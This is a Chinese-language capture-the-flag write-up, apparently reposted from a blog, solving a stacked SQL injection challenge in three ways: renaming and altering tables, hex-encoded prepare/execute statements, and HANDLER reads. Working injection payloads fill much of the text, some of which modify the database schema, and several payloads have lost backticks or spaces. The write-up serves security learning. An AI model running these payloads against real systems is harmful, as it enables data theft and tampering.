网页环境判断是否是字符型注入1'判断是否存在关键字过滤select联合查询被过滤,只能用堆叠注入了查看有几个字段1' order by 2#正常回显1' order by 3#回显报错,可以看出只有两个字段查看所有数据库1'; show databases;查看所有数据表1'; show tables;爆words数据表的字段1';show columns from words;#爆1919810931114514数据表字段(注意数据表为数字的时候需要用反引号括起来)1';show columns from1919810931114514;#可以看到这两个表words表有两个字段,而另一个只有一个字段后台SQL查询语句应该是:select * from words where id=所以说只能先查询id字段,然而另一个表只有一个flag字段是肯定爆不了flag的,并且类型为varchar字符串类型,而恰巧words数据表里面的data也是varchar类型,因此从这里就可以得到做题思路,通过rename函数进行改表,把1919810931114514改为words,增加新字段id,将flag改为data,将刚开始那个words表改为其他任意表。构造payload:1';rename table words to BaiMao;rename table1919810931114514to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100);#
rename修改表名 alter修改已知的列 add增加 int整数类型 unsigned无符号类型 not null- 指示某列不能存储 NULL 值。 primary key - NOT NULL 和 UNIQUE 的结合。指定主键,确保某列(或多个列的结合)有唯一标识,每个表有且只有一个主键。 auto_increment-自动赋值,默认从1开始。
成功回显flag:注意没有回显flag,就类似于你更新了个东西但是没刷新,重新在文本框里面输入1提交即可回显flag。
第二种解法 编码逃逸 绕过滤由于select被过滤,考虑使用编码进行绕过使用select查询就很简单了构造payloadselect *from where1919810931114514``(注意这里使用反引号把这个数字包括住,md编辑器打不上去) *号查询数据表里面的全部内容,这就是爆出flag的原理进行16进制编码加密73656c656374202a2066726f6d20603139313938313039333131313435313460最终payload:1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
prepare…from…是预处理语句,会进行编码转换。execute用来执行由SQLPrepare创建的SQL语句。SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。0x就是把后面的编码格式转换成16进制编码格式那么总体理解就是,使用SeT方法给变量a赋值,给a变量赋的值就是select查询1919810931114514表的所有内容语句编码后的值,execsql方法执行来自a变量的值,prepare…from方法将执行后的编码变换成字符串格式,execute方法调用并执行execsql方法。 参考:https://blog.csdn.net/qq_44657899/article/details/10323914回显flag:
第三种解法 handler代替selectselect命令被过滤了怎么办?我们还可以用handler命令进行查看,handler命令可以一行一行的显示数据表中的内容。构造payload:1'; handler1919810931114514open asa; handleraread next;#
handler代替select,以一行一行显示内容 open打开表 as更改表的别名为a read next读取数据文件内的数据次数
上传payload,回显flag:
原文地址:https://blog.csdn.net/m0_73734159/article/details/134049744?spm=1001.2014.3001.5502